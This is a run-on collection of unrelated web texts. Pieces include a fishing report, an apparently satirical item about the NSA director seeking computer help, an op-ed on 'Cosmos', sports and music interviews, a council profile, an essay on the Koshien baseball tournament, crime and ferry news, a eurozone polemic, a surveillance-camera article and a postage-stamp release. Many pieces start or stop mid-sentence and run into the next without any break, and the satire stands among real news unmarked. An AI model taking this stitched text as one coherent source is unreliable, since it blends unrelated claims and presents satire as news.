“He’s caught big fish before, but nothing like this,” said Vance Bramlett. “This is really something.”
Vance said a barge was passing by and stopped to watch the action.
“The guys came out on deck to watch him,” Vance said.
James said it took him about 20 to 25 minutes to get the fish in the boat.
Heath Haley, a Biologist with Alabama Wildlife and Freshwater Fisheries, came to check the fish. Vance Bramlett said they’re curious if this might be a world record catch for striped bass.
The Bramletts are currently preserving the fish.FORT MEADE, MD—Explaining that things weren’t working right and he didn’t know why, visibly frustrated National Security Agency director Michael S. Rogers called a press conference Thursday afternoon to ask if somebody good at computers could help out the intelligence organization. “We must have done something wrong and now everything’s all screwed up—is there anybody who knows computers that can fix it for us?” said Rogers, adding that he doesn’t know whether he hit a wrong key at some point or if he got “the virus,” but would just like somebody to make the agency’s computers work like they did before all this. “I’m no good with this type of stuff, and all I want to do is check my emails. Can someone just come by my office and make the problem go away? I don’t think it should take too long.” Following the press event, Rogers reportedly returned to his desk to sit and patiently wait.
AdvertisementWe Americans pride ourselves on our ideals of free speech. We believe in spirited back-and-forth and the notion that we are all entitled to our opinions. We stack our media coverage of news events with "opposing views." These ideals are deeply rooted in our cultural character. And they're making us stupid.
Ever since it debuted earlier this month, Neil deGrasse Tyson's blockbuster, multi-network reboot of "Cosmos" has been ruffling feathers with its crazy, brazen tactic of putting scientific facts forward as the truth. It's infuriated religious conservatives by furthering "the Scientific Martyr Myth of Giordano Bruno" within its "glossy multi-million-dollar piece of agitprop for scientific materialism." And this weekend, creationist astronomer and Answers in Genesis bigwig Danny Faulkner complained about "Cosmos" on "The Janet Mefferd Show" that "Creationists aren’t even on the radar screen; they wouldn’t even consider us plausible at all" and that "Consideration of creation is definitely not up for discussion," leading Mefferd to suggest equal time for the opposing views. But on "Late Night With Seth Meyers" last week, Neil deGrasse Tyson shrugged off the naysayers, noting, "If you don’t know science in the 21st century, just move back to the cave, because that’s where we’re going to leave you as we move forward." This is why he's a treasure -- he has proven himself a consistent and elegant beacon of how to respond to extremists and crazy talk – by acknowledging it but not wasting breath arguing it.
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We can go round and round in endless circles about social and philosophical issues. We can debate all day about matters of faith and religion, if you're up for it. But well-established scientific principles don't lend themselves well to conversations in which I say something based on hard physical evidence and carefully analyzed data, and then you shoot back with a bunch of spurious nonsense.
This idea that we somehow have to be "fair" about everything is how we wind up having Bill Nye getting into public discussions about climate change, a spectacle my colleague Daniel D'Addario recently noted mistakenly gives the whole fiasco attention and credibility "as an entertaining, wacky debate between two personalities." It's how we wind up continuing on in a nation in which three out of 10 people take the Bible literally, and an alarming nearly 40 percent believe in intelligent design. Roughly 18 percent of Americans believe the sun revolves around the earth. Should we have a debate about it? Should we hear out the "sun revolves around the earth" faction?
In our zeal for balance, we have allowed ignorance to be perpetuated. We send our kids to schools where the "Christian Perspective" is given weight as historical fact. We talk about the "debate" over climate change as if it's a "debate" and not a scientifically supported serious warning. We let other people's ignorant arrogance run roughshod over our own misguided attempts at open-mindedness.
"Cosmos" isn't trying to pick a fight. It's a love letter to the triumph of investigation over superstition. It's not perpetuating an agenda, other than maybe Neil deGrasse Tyson's perfectly sane advice that you "don’t try to use the Bible as a textbook." Or as Carl Sagan once said, "It is far better to grasp the universe as it really is than to persist in delusion, however satisfying and reassuring."Ashton Kutcher’s jOBS sells to Open Road before Sundance
One of the most buzz-worthy titles at this year’s Sundance Film Festival is already off the market.
‘jOBS,’ the festival’s closing-night film starring Ashton Kutcher as Apple founder Steve Jobs, will be released by Open Road Films in April, the independent distributor said recently. Open Road, co-owned by movie theatre chains AMC Entertainment and Regal Entertainment, will handle the release in the US and Canada on behalf of Five Star Films, which financed the movie.
The film follows Jobs’ life from 1971 through 2000, and much of the picture was shot in the garage where the late entrepreneur first launched Apple in Palo Alto.
The movie, which is to premiere at Sundance |
melons, clay plots and reeds. Use of leeches to keep wounds free of blood clots. A code of ethics for teachers as well as students.
*”should have an edge so fine that it should divide the hairs on the skin.”
The Sushruta's contributions to allied fields are: 2, 3, 5, 10, 11, 14
Surgical demonstration of techniques of making incisions, probing, extraction of foreign bodies, alkali and thermal cauterization, tooth extraction, excisions, trocars for draining abscess draining hydrocele and ascitic fluid. Described removal of the prostate gland, urethral stricture dilatation, vesiculolithotomy, hernia surgery, caesarian section, management of haemorrhoids, fistulae, laparotomy and management of intestinal obstruction, perforated intestines, accidental perforation of the abdomen with protrusion of omentum. Classified details of the six types of dislocations, twelve varieties of fractures and classification of the bones and their reaction to the injuries. Principles of fracture management, viz., traction, manipulation, appositions and stabilization including some measures of rehabilitation and fitting of prosthetics. Classification of eye diseases (76) with signs, symptoms, prognosis, medical/surgical interventions and cataract surgery. Description of method of stitching the intestines by using ant-heads as stitching material. First to deal with embryology and sequential development of the structures of the fetus. Dissection and study of anatomy of human body. Introduction of wine to dull the pain of surgical incisions. Enumeration of 1120 illnesses and recommended diagnosis by inspection, palpation and auscultation.
Sushruta took surgery in medieval India to admirable heights and that era was later regarded as The Golden Age of Surgery in ancient India.Because of his numerous seminal contributions to the science and art of surgery in India, he is regarded as the 'Father of Indian Surgery' and the 'Father of Indian Plastic Surgery'.Steven Adler believes he hasn't been approached yet about the potential Guns N' Roses reunion because his ex-bandmates don't believe he's sobered up. He says an incident a few years ago – when his current band Adler shared a bill in Japan with Duff McKagan's Loaded – is to blame.
"I was still drinking then," Adler told Eddie Trunk, according to Blabbermouth. "And, you know, Duff's sober and he's very judgmental and forgetful of where he came from. And he was just so bummed and pissed at me.... So, I kind of ruined it and gave him the excuse to be able to say, 'Well, he's not cool and he's not that good.'"
Adler, who was memorably ousted from the group for rampant drug use in 1990, says he's been sober now for more than 21 months. He notes that both McKagan and Slash had their own issues, before cleaning up.
"Just because they stopped doing it before I did doesn't make them any better," Adler says. "We're all people who have addiction problems. I was just able to get a grip on it later on in life than they did.... I don't know why, but they forget that at one time in their life, they were doing drugs and drinking and they were f–ing up. They forget that they were like that too."
Even as rumors of a possible reunion have heated up, Adler says he's reached out to Slash – specifically to join him for a cup of coffee at a nearby vegan restaurant. They still haven't met. Earlier this year, Adler told Trunk that he hadn't seen Axl Rose since back in 2006.
Adler also notes that even if a Guns N' Roses reunion involving him was being discussed, "I don't think Slash would tell me, because he knows how excited I get and that I would probably say something before I should. I would be the last one to know." As for what would happen if the other four guys decided to get together without him? "I would probably feel like I would wanna kill myself, but I wouldn't. I would probably just kill them (laughs)."
See Guns N' Roses and Other Rockers in the Top 100 Albums of the '80s“I am very happy that I didn’t become the worst in the plus/minus category,” Ovechkin told SovSport in an interview translated by Puck Daddy. “I had minus-35. Steve Ott and Alex Edler jumped ahead of me. Can you imagine scoring 51 goals and getting minus-40? I would have made history!”
The interviewer brought up Sergei Gonchar‘s past criticism about the use of plus/minus and Ovechkin took that opportunity to expand on the point.
“With the help of the plus/minus contracts can be obtained,” the 28-year-old forward said. “Once our defenseman Jeff Schultz was plus-50. He was plus-5 in the last game. And he signed a contract for four years averaging $2.75 million [Ovechkin makes big eyes]. And then his contract was bought out, and he signed for only $700,000 a year. Jeff is a good guy. But these plus/minus stats say very little about a player himself or the game as a whole.”
Follow me on twitter Follow @GunnerStaal I don't have anything Penguins related today unless you count the Sergei Gonchar reference below, but I did come across something that piqued my interest.I totally agree with Alexander Ovechkin. Ovechkin had an excellent season last year putting up 51 goals but there was a large portion of people trying to suppress that achievement by trying to point out his minus 35 plus/minus rating.If you have been reading my blogs here for the past year plus you will notice that I have never included plus/minus in any one of my player evaluations. The reason? It is useless. It should not be used for anything.Ovechkin had some humor about his plus/minus criticism but he also understands it is meaningless, I agree.The following passage is courtesy of Pro Hockey Talk Ovechkin is not unlike most NHL players, there are areas in his game which could be polished up, however using plus/minus as your metric to prove that is irresponsible.If you want to dig deeper and into more meaningful metrics Ovechkin's puny GF% of 35.8% last year it can be traced back to his on ice save percentage. The capitals goalies weren't very good when he was on the ice. The goalies were an unacceptable.905% at even strength.Here are the last seven years of Ovechkin's on ice save percentagesHere is the last seven years of plus/minus stats for OvieSeems to be a positive correlation here.I am of the belief that on-ice save percentages lean more towards the random side of things than showing a true skill of an individual player.I honestly don't believe that Ovechkin has drastically changed his style of play over the years, yet his numbers in the charts above are both extremely high at times and extremely low.To be fair I did find one purpose for the plus/minus stat, it can be used to in a hilarious fake political ad to get Rory Fitzpatrick voted into the all star game in 2007That same Nicklas Lidstrom earned seven Norris Trophies throughout his Hall of Fame career. His plus/minus when he won his seventh and final Norris Trophy? Minus two. Doug Murray's plus/minus that same year? Plus five.If there is anything to take away from this throwaway blog in the summer it is that friends don't let friends use plus/minus.Thanks for reading!Follow me on twitter Follow @GunnerStaalAfter snapping a three-game losing streak last week by beating a ranked opponent, the UCF men’s basketball team was looking to build on that momentum.
The Knights earned victory Saturday, taking down Southern 76-60 in front of an announced crowd of 4,139.
“I’d seen Southern play a lot of games this preseason and they’re a tough team,” UCF coach Johnny Dawkins said. “They’re a great shooting team, they have a great inside player in [Jared] Sam and it took a heck of a defensive effort, but I’m really proud of our guys.”
The Knights got an especially strong performance from sophomore center Tacko Fall, who dominated on both ends of the floor. He finished with a game-high 18 points on 80 percent shooting to go along with nine rebounds and a steal.
“I think Tacko was real efficient tonight,” Dawkins said. “I thought we found him and that’s something that we want to do, we want to get him the basketball when he has the opportunity to be able to receive it and make plays. His aggressiveness was there, he is hungry on the offensive end.”
Fall’s performance was especially impressive given that he is still working his way back to full strength after missing the first two games of the season due to a sore hip.
“I’m getting there, it’s a day-to-day process,” Fall said of his health. “I’m in the gym working, the guys are helping me out, the coaches are helping me out. So it’s just a day-to-day thing.”
Given Fall’s success, the team is especially excited to see how he will perform once he is healthy.
“He’s started getting into better shape now, he’s moving better,” Dawkins said. “I just think as he continues to grow in his mobility from the injury, I think he’s gonna be even better for us because he had a great summer.”
Despite shooting the ball well, the Knights fell behind early and had a difficult time attempting to pull away from the Jaguars in the first half, spending much of that time without the lead. UCF went into halftime shooting an impressive 50 percent from the field, but the Knights committed eight turnovers and allowed Southern to stay in the game.
“We just have a lot of unforced turnovers,” redshirt senior forward A.J. Davis said. “Little out-of-bounds or little travels and stuff like that. We just gotta kind of settle down and slow down a little bit and get the ball to where it’s supposed to go.”
Despite holding the Jaguars to 38 percent shooting, the Knights went into halftime with a two-point lead.
Coming out of halftime, however, UCF looked like a completely different team. The Knights shut down the Jaguars’ offense, going on a 10-2 run to take control for the rest of the game.
UCF finished the game shooting 53 percent from the field and also cut turnovers in the second half, allowing the team to build up a big lead even though Southern continued to score.
“We just got back to defensive principles, started really locking in on defense,” Davis said. “I think we were really sluggish at the beginning of the game but we locked in on defense and … we were pretty efficient in the first but we got even more efficient in the second half, just playing together, getting it inside and we were able to pull away.”
UCF will play at home again on Tuesday, taking on Southeastern Louisiana at 7 p.m.Councilman Darius Brown is known around town as the “tech councilman.” Wielding a nickname like that bears the burden of meeting high expectations held by the community you’re claiming to represent. In his two-and-a-half years on council, Brown has made some leeway in getting the city to adopt certain programs and practices implemented in larger cities.
“I’m always trying to advocate for the immersion of technology in how we govern and how we solve problems within city government,” Brown said. “I believe that our government should be integrated with those technologies.”
Like what?
Take ShotSpotter, for example. It’s the much buzzed-about gunshot location system that can pinpoint where a shot has been fired with precision. Brown said one of his current projects is trying to get city government to embrace that technology.
“We’re looking to use that technology to notify police officers while they’re out on patrol when shots are fired and where they’re fired,” Brown said. The technology allows officers to dispatch to their destination much more efficiently. “It’s a specific address and location that would tell them not only that you’re at 831 Northwestern, but it would also tell you that the shot was fired in the backyard.”
That’s what Brown is working on. But what has he done?
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In late January, Brown and Mayor Dennis Williams launched Tweet My Jobs, a free social media platform designed to address unemployment in Wilmington by connecting potential job seekers with employers. According to Brown, over 3,800 individuals and 120 businesses have signed up. They’ve garnered a collective 60,000 views.
“We’ve had small mom-and-pop manufacturing companies like Franklin Fibre all the way to corporations like AstraZeneca, Starbucks and AT&T all on the site posting jobs, looking for employees here in the city of Wilmington,” he said.
It’s all about creating economic opportunity with Brown. That’s why he hopes businesses will start using city data to their advantage. “Open data is a resource that the city can use to cultivate more tech businesses, small business, entrepreneurship and grow our local economy,” he said.
But how? And why aren’t businesses doing it?
“I just don’t think the city infrastructure is in place where they have access to it to utilize it,” he said. At the same time, he said, “We have as much fiber running through our streets as Wall Street.” And with all of the banks that call Wilmington home, Brown said the city has an opportunity to become a leader in financial technology.
“We’re able to be the back office and handle the tech side of banks in our industry,” he said.
But most of all, Brown said Wilmington needs to do more around open data. A good model?
“Austin, Texas.”
-30-I am not a big fan of baseball, and I didn’t enjoy my high school days overmuch. Combining these two seems like a recipe for a bullying and unpleasant experience, and definitely not something I would have any interest in.
The Koshien, however, changed my mind about high school baseball. The Koshien (甲子園) is an annual high school baseball contest that takes place across all of Japan, and comes to its glorious, bittersweet climax during the hottest months of the year – this week, in fact, in mid-August. High school baseball teams compete to become prefectural champions, and champions from each prefecture – two from Tokyo – then converge on Kobe in August for the finals. The finals are a knockout, with four matches played every day to whittle the teams down from 48 to 32, then through knockout rounds to the final, which happens to be tomorrow. Each match is 1.5 to 2 hours long and is played under the punishing August sun, in extremely harsh conditions[1]: temperatures above 32C (often over 35 this year!) and very high humidity. Today, for example, was 32C with 82% humidity and much, much more pleasant than last week when the quarter finals were being decided. The teams have to play continuously too: the semi final was today and the final is tomorrow, which means that the pitchers in the final will have been playing every second day now for a week or more in this heat.
When I first saw the Koshien a few years ago I dismissed it without watching it. Baseball in Japan is renowned for its bullying atmosphere, which verges on militaristic at times, and the idea of making schoolboys of 16-18 years of age play a contest in the middle of the day in this heat is a classic representation of just how callous and brutal its culture is. But this year one of my students revealed to me her passion for it, showed me the website and sang the praises of its passion and energy. Since I had a week off for the summer break I thought I’d check it out – and I was hooked immediately. It’s amazing.
It isn’t just the contest itself that is great – in fact that’s barely part of it at all. Rather, the culture and the style and excitement of the entire series gives it a feeling that ordinary baseball just can’t get. Similar to cricket at its best, it has its own sound and pace, and the crowd are as much a part of the event as the teams. Every team brings a huge contingent of supporters, wearing school colours and usually including a school band and cheerleaders, who make a constant racket throughout the game. This highlight reel is a good a example of the sound of the game – the school song (or a supporter’s chant) playing in the background, drums, pipes, cheering, and the flash of pom-poms as the cheerleaders go wild on a home run. At the end of the reel you can just hear the announcer in a classic, high-pitched voice introducing the next batter, with the honorific “kun” at the end to remind everyone that these heroes of ours are actually just high school kids. During the match the commentators prowl the stands interviewing fans, and showing the world what ingenious support methods the schools have thought up; they read support messages from school children and adults around the country, and every day they have a different pro-baseballer on to help with the commentating. This year the commentators have identified a man they call “Rugger san” (Mr. Rugger) who sits in the same place directly behind the batter in the front row, and is so named because he wears a rugby shirt every day – he has been there the entire two week period. It’s a serious, extravagant two week festival of sport, very similar to the Ashes or Sumo in the strength of its associated support culture, its deep connection with a season, and its importance to ordinary sports fans. But in this case it has its own bittersweet feel, because these are boys near the end of high school, who are going to get one – maybe two, for the younger ones – shots at glory, then graduate and move on with their lives and leave this fleeting moment of fame and joy behind them forever.
And this is where the Koshien really makes its mark, because it captures something about the strange and furious passion with which Japanese people look back on their high school days. From the west looking in we are often led to believe that Japanese high school is a terrible place, strictly regimented, heirarchical, full of bullying, where the creativity is drained out of little humans ready to turn them into drones for Japan’s massive corporate machine. But Japanese people see it very differently – to them High School is a period of freedom, openness, and passion, this sunny couple of years of freedom before they hit the regimentation of the outer world. High School is where a lot of Japanese people experience first love, and it is also the time when they form deep bonds of friendship that will last them through many years, even though they will likely move away from home for university and work, and only see those old high school friends once a year. This disparity between the western view of Japanese school and the local view is really striking – Japanese people I speak to are very often deeply nostalgic for their high school days, which they describe to me as a time of freedom and happiness. This is especially noticeable when you mention the Koshien to anyone who is old enough to have begun forgetting their high school days: they will become instantly, powerfully nostalgic, and it’s clear that the word conjures up sounds and scenes that remind them instantly of everything they left behind when they left school. On the weekend I mentioned that I had watched the Koshien to my hairdresser, and even though he was a rugby player at school[2], not a baseball player, he immediately became misty-eyed, singing the praises of the event and its special meaning in the same way as my student.
This passion I think also explains the special role of high school in anime. From the outside looking there appears to be a strong strain of schoolgirl fetishism, but there’s much more to it than that – anime and manga is also packed with stories about male high school sports clubs, which to me seem like they must be singularly boring tales, and also love stories about high school students. TV shows and manga that feature these high school groups and love affairs and dramas are actually appealing not to some weird fetish for children, but to a strong, nostalgic streak in adults. High school is also the setting in which first love occurs in Japan, and at least historically may have been the only time when Japanese people were truly free to form partnerships out of love rather than convenience and good sense. This is why so much of anime and manga incorporates this setting, and this is why the schoolgirl’s uniform and the schoolboy’s baseball kit are so powerfully evocative in this medium. Watching the Koshien helps to make sense of the power of high school in Japanese popular culture. The Koshien packs all those years of yearning for the change to come, of waiting for something to happen, that sense that you are someone special who is ready to bud and explode into the world, into two weeks of intense emotion and self expression, all while sharing that deep bond with your peers that only late adolescents can genuinely and uncynically revel in.
And so, it can even make baseball interesting. Truly, Japanese high school students have magical powers! The final is tomorrow at 1pm Japan time, and I think it can be viewed live on the Asahi TV website. It’s the 100th anniversary of the Koshien, the final contest is between Kanagawa and Miyagi prefectures. Tune in, and enjoy the unrestrained passions of high school once more!
—
fn1: People who haven’t spent time in Japan in August tend to poo-poo reports of just how oppressive the heat is, but once one has spent a day here in that season, and wilted under the intensity of the heat, one readily adapts one’s view. Australians really aren’t used to the humidity, so for example although I grew up in a town where daytime temperatures are routinely 8C hotter than Japan in summer, without airconditioning, I find Tokyo in summer far worse. It’s not just the urban heat island effect, which in Tokyo is extreme: basically it’s as if a huge mass of hot air rolled in off the ocean at the end of July, squatted down and decided to stay. There is very little wind, night time temperatures do not drop below 25 or 26 C, and usually there are very few clouds, but it is still so hot that everyone sweats just sitting still. It’s exhausting at 32C, but when it hits 35C it’s potentially dangerous …
fn2: In Japan hairdressing is a macho job and male hairdressers are rough, macho figures, so this makes perfect sense.A man accused of kicking a pregnant Muslim woman in the stomach and causing her to lose unborn twins has been charged with racially aggravated assault.
David Gallacher will appear before a magistrates after the Somalian woman, who was wearing a headscarf, was attacked.
She later revealed she did not know she was expecting twins until medics told her she had lost them.
The 37-year-old has been charged with one count of assault occasioning actual bodily harm, two counts of racially/religiously aggravated assault, three of assaulting a police constable in the execution of their duty and one of common assault.
The shocking attack happened outside this Co-op store in Bletchley, Buckinghamshire
Gallacher was released on bail to appear before Milton Keynes Magistrates' Court accused of attacking the 34-year-old woman and her 40-year-old taxi driver partner outside the Co-op in Bletchley, Buckinghamshire, on August 6 last year.
Gallacher, of no fixed abode, was arrested a day after police released CCTV images of the alleged assault.
A police spokesman today said: 'David Gallacher, aged 37 years, of no fixed abode was charged on Wednesday with one count of assault causing actual bodily harm, one count of assault by beating, two counts of racially/religiously aggravated assault and three counts of assaulting a constable in the execution of his/her duty.
'The charges relate to two incidents. The first was on Saturday August 6 2016, when two victims, a 34-year-old woman and a 40-year-old man were assaulted and racially abused by a man near the Co-op on Water Eaton Road, Bletchley.
'The second incident relates to an incident on September 14 in Larch Grove, Bletchley, when three police officers were assauled as they arrested a man.
'Gallacher has been bailed to appear at Milton Keynes Magistrates' Court on March 14.'The Wolfe Islander III will not be returning to service the week following Labour Day, according to representatives from the Ministry of Transportation, due to continuing delays with the completion of the wheelhouse on the ferry.
"The ministry does recognize that this is the third delay in the Wolfe Islander III return to service and we know that these delays are very difficult for residents and businesses," Brandy Duhaime, communications officer with the Ministry of Transportation Eastern Region, said. "We do apologize for the impact this delay will have on ferry users."
She could not give a specific date for a return to service but stated that the shuttle service and other mitigations will remain in place until the ferry is returned.
The ferry has been out of service since April.
"We are continuing to closely monitor the work of the dry dock contractor and will provide an update on the return to service when we know the ferry is ready to sail," Duhaime said in a news release.
"It’s most disturbing for sure that they’ve once again delayed it, but this time without even any suggested date of when it might be ready," Denis Doyle, mayor of the Township of Frontenac Islands, said. "It’s not just the Wolfe Island people that are suffering, it’s the Amherst Island (people) and the people who rely on taking the Glenora Ferry across the gap to Picton."
Doyle got the news at the same time this afternoon as the media did.
The feedback Doyle’s received from residents, visitors and businesses has him upset.
"It’s totally unacceptable where people are waiting two or three hours in line for a ferry to get off the island," Doyle said. "We’re all suffering, and what’s worse is they have no contingency plan if one of these ferries breaks down. We’d be stranded and have to declare an emergency."
Dry docking is a federal requirement to ensure that the ferries and other vessels are in safe working condition, Duhaime added in a release. Heddle Marine is the only dry dock in Ontario large enough to accommodate the Wolfe Islander III. The cyclical nature of the mandated dry docking means facilities are working at or beyond capacity with vessels of all kinds.
"We are working closely with Heddle Marine to have the wheelhouse complete and return the Wolfe Islander III to service as soon as possible," Duhaime said. "The wheelhouse on the Wolfe Islander III has not been replaced or significantly rehabilitated since the ferry was built in 1975. Some elements of the wheelhouse have been repaired a number of times and have reached the end of their useful life. The wheelhouse is very cramped and does not have appropriate room for modern navigational and other technologies we use today. We need to ensure the space is safe and efficient for the captains and crew who are responsible for the operation of the ferry. This important work requires many skilled trades."
In July, Transportation Canada completed some inspections, which identified more required but unplanned work that needed to be done to the protection of the propulsion unit.
Until the Wolfe Islander III returns to service, the Frontenac II will continue to provide service from Kingston to Dawson Point. The bus shuttle from Dawson Point to Marysville will also continue. The Quinte Loyalist will remain in service at Amherst Island. The 30-minute, single-vessel service will continue at MTO’s Glenora operation.
"We’ll be able to provide an update once the ferry is ready to sail," Duhaime said. "Once we know, you’ll know."
It could take as little as approximately 48 hours after that notification for all the ferries to be back on their regular routes.
— The Whig-StandardI Modi (The Ways) is best known as The Sixteen Pleasures, an illustrated sex guide published by Marcantonio Raimondi in 1524. Based on paintings by Giulio Romano, The Sixteen Pleasures carries the proud boast of being the first work of pornography banned by the Catholic church. For his gross indecency, Raimondi was imprisoned by Pope Clement VII. All copies of the book were destroyed. Romano got away with it. And so began a long debate whether art and porn can ever be the same thing?
Lynne Lawner writes: “In 1523 Giulio Romano began the decoration of the Sala di Costantino in the Vatican. It is said that in a moment of anger at Clement VII for a tardy payment, Giulio drew the sixteen postures on the walls of that unlikely place.” Romano never was sanctioned for his nudes and erotic graffiti. Well, what goes on in private among the enlightened and divine is one thing; what the public sees they’re into is quite another.
Pietro Aretino was aroused by this curious case of private and public mores. “After I arranged for Pope Clement to release Raimondi,” he wrote, “I desired to see those pictures which has caused the [Vatican] to cry out that their creators should be crucified.” Aretino thought the illustrations needed a few words, so he composed a sonnet for each woodcut. He also successfully fought to have Raimondi released from prison. In 1527, I Modi and Aretino’s sonnets appeared in a new collaborative work. “Come view this you who like to fuck,” wrote Aretino, “without being disturbed in that sweet enterprise.” Predictably, the Pope banned this second book and destroyed every copy. (Although the British Museum has a few tatty extracts, such as the one above.)
In 1798, The Sixteen Pleasures reappeared as the French title L’Arétin d’Augustin Carrache ou Recueil de Postures Érotiques, d’Après les Gravures à l’Eau-Forte par cet Artiste Célèbre, Avec le Texte Explicatif des Sujets. With most of the original mucky pictures lost (or maybe just locked away in the Vatican?), this book featured illustrations based on engravings by painter Agostini Carracci. These are the images you see below.DPC St. Mary’s Canal parade, Sault Sainte Marie, MI 1905
Something’s happening in Europe that I would like to cheer and encourage at the top of my lungs. While only yesterday, most European leaders, the ECB and the IMF were busy chiding Germany for not lowering taxes or increasing government investment in its economy, today’s release of German economic data should either shut them up or drastically change their tune.
Then again, they are to a (wo)man too self-obsessed and -important to keep their traps closed, and they know only the one tune. That should lead to some serious bitterness, of which I’m also full-heartedly in favor. For everyone’s good but that of the self-absorbed politicians, the eurozone should be demolished, and entirely new, far more modest treaties between the nations negotiated.
If we can agree the single currency, and the legal settings it is caught in, have already done great damage to the over 50% of young people in Spain and Greece who may never find jobs at all, to the Italians and Irish who were keelhauled in the name of the greater good, and and and, and to all the millions in all the other eurozone member nations, if we can agree on that, things are going to get much worse if the euro project is not abandoned as soon as possible.
The good thing about Germany’s bad, make that awful, numbers is that they will raise the voices of euroskeptics across the country. If there is to be a change in view or politics from Angela Merkel and her people, it’s not going to be what the rest of Europe wants, a softer stance on Mario Draghi’s ABS junk paper purchases. Quite the opposite: Germans will increase their calls for Deutschland first, and Merkel can no longer ignore them.
Berlin will have to turn to protectionist policies, sort of like the antithesis the the entire European project that has seen so much support from these very Germans. Merkel cannot accept looser financial policies in Brussels, which carry the risk – bordering on certainty – that her taxpayers will be on the hook for losses incurred in the ECB’s last ditch attempts to save itself and the currency. Merkel’s – existing and potential – voters will not accept it.
That de facto means she must turn her back on Europe. It will not be advertized that way, at least not in the beginning, but it is what it all comes down to. Whether you agree or not that Germany’s own points of view and actions have contributed to the misery large parts of Europe are in, the fact remains they’re miserable and slip sliding into worse. Something needs to be done, but no-one can agree on what.
Draghi’s highly expensive and highly disputed buy buy buy plans can’t actually solve any problems, neither the ones countries already had nor those the euro straightjacket added. What the plans may do is buy a bit of time. Time that will be used to further tighten the euro noose around everyone’s neck.
Central banks can’t solve problems, but they sure can make them worse. This may sound strange when you look at what many see as a recovery in the US, but just wait a few more years and then look at what $10+ trillion has bought Americans, or $25 trillion has done for China.
In the end, it’s all just more debt piled on top of debt, and nothing but a huge blind spot in the range of vision of economists, edged on by those who seek to profit from a nation’s taxpayers being dragged down further towards servitude. That you could boost a broke economy be making it more broke, or even risk doing so, is insanity squared, but it’s also what every economics textbook says should be done.
In a few days, another fake Economic Nobel (Fauxbel) will be awarded to another clown or comic troupe with some utterly useless theory, their field lauded as a science without ever obeying even the most basic scientific principles. And some day people will ask: ‘what were they thinking?’, but they’ll have to ask their questions from cardboard shovels and corrugated shanty towns.
The fast rising right-of-Merkel Alternative for Deutschland party will grab onto today’s bad bad data (25% plunge in new car sales, 8.8% less capital goods (machinery etc.) produced, factory orders down 5.7%, overall industrial production down 4% MoM) to demand protection for Germans, and less, not more, Berlin involvement in the EU and eurozone.
At the – well, ok, arguably – worst point in euro history, with all other ‘solutions’ failed and debt levels higher than ever, Mario Draghi wants to raise those levels even more. Merkel doesn’t have the political room to allow him to, because she doesn’t have the economic room anymore. As soon as she announces some, any, cut in domestic services, the AfD and other voices will clamor: cut the Greeks first.
France is gasping for breath, Italy is on life support, Greece, Cyprus and Spain are in the emergency room, and Europe’s German engine has just quit. A 500+ million ‘union’ with no steering wheel and no engine is on its way to the brink of a deep cliff. Someone’s going to jump ship, no question about it. The Germans themselves might be the first.
Nobody in Europe has anything to lose from the demise of the eurozone, at least nothing that they wouldn’t lose anyway, but every single European save for a cabal of power brokers and narcissists has a ton and a half of happiness and self-fulfillment and independence to lose from the continuation of the failed project. Luckily for them, the German data promise to bring the merciful end that much closer.
What’s wrong with the EU is the same as what’s wrong with NATO, the IMF, the World Bank. They are institutions that start with noble ideals, but soon start to gobble up ever more power, and with no-one to hold them to account. That kind of structure in turn attracts a certain kind of people, the ones who don’t like to be held to account.
And though I’m a little hesitant to include the US in all this, since it”s so much older, I certainly wouldn’t discard Washington offhand as a place where the wrong kind of people have gathered far too much power.In Tampa, Florida, just outside of the building where the Republican National Convention is taking place, vigilant observers are perched high above, working day and night to spot suspicious activity. They are not police officers—they are surveillance cameras equipped with “behavior recognition” technology that constantly studies each person to determine whether he or she is the next security threat. By “learning” patterns of behavior, these devices can monitor large crowds to alert authorities, within seconds, when something out of the ordinary occurs.
High-tech security measures might be expected at large politically charged gatherings. But cameras capable of real-time, sophisticated data mining are starting to appear everywhere.
It may soon be the case that it is no longer necessary to have a human being actively monitoring the screens. Computers will be able to do a better job and for a fraction of the cost. Legal protections from surveillance cameras currently focus on where a camera can be placed. This will shift to what types of analysis the camera is capable of performing, and for what purpose.
The reason for the quick adoption of these cameras is simple: human beings are not good at attentively watching large amounts of video for very long. In the United States, it is estimated that there are 30 million surveillance cameras, which create more than 4 billion hours of footage every week. At best only a small portion of this footage will ever be reviewed. London, for example, has close to 500,000 surveillance cameras. But this has only helped police in solving three percent of all street robberies.
Instead of trying to solve crimes after they have happened, advances in camera technology can spot problems as they are occurring. On Liberty Island, home to one of the nation’s most famous landmarks, surveillance camera data are brought together and analyzed in order to spot when somebody abandons a bag or tries to stay on the island after hours. This technology can alert police to the appearance of an imminent fight. Across the Bay, in Manhattan, surveillance cameras can track a person’s general description. If there is a report about a suspicious person wearing a red shirt, for example, every person wearing a red shirt in sight of any of their thousands of cameras can be displayed together—in an instant.
It’s not just law enforcement that has taken note of this. Retail outlets such |
greatest writers the United States has ever produced.
The stamp features an original painting by artist Kate Sammons of Los Angeles under the art direction of Antonio Alcalá of Alexandria, VA. On the left is a portrait of James based on a 1906 photograph by Alvin Langdon Coburn. It shows the author in profile looking to the right, his left hand on his chin in a gesture of contemplation.
On the right side, behind James, is a vignette showing a man and a woman in a small boat; the man holds an oar, while the woman shades herself with a pink parasol. This vignette is an artistic interpretation of the climactic scene from The Ambassadors, James's 1903 novel in which a middle-aged American is sent by his wealthy fiancée to Europe, presumably to rescue her son from a woman she believes must be bad for him – the two people represented in the boat.
Even though James was born in New York City, he traveled extensively and resided in a number of different places in Europe, giving his writing a distinctive international flavor. James's literary output was prodigious: 20 complete novels, more than 100 shorter pieces of fiction, several plays and hundreds of shorter works and articles, including travel observations, literary criticism and theater reviews. Two of his most well-known stories include Daisy Miller and The Turn of the Screw. His other works included The American, The Portrait of a Lady, The Bostonians, The Wings of the Dove and The Art of Fiction, among many others.
During James's lifetime, readers were often drawn to his novels and short stories for their accounts of passionate friendships, love affairs, and marriages that were unhappy and rife with conflict. His contemporaries also admired his realistic and thoughtful portrayals of women, especially strong, autonomous heroines failed by men and betrayed by other women. His eye for human nature has stood the test of time; interest in his work surged in the 1930s and continues to this day. His novels and stories have inspired numerous stage and radio adaptations, followed more recently by major television versions and Hollywood films, confirming that our distance from the bygone cosmopolitan society he described makes the human conflicts he explored no less relevant, illuminating and engaging.
On the new stamp, the words "THREE OUNCE" indicate its usage value. Like a Forever Stamp, this stamp will always be valid for the rate printed on it.
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Joe Brockert 202.268.3260 usps.com/newsLeigh Sales: 7.30 anchor's Top 10 interviews of 2015
Updated
One of the great privileges of my job is that I get to meet so many interesting people, at the tops of their fields, every night of the week.
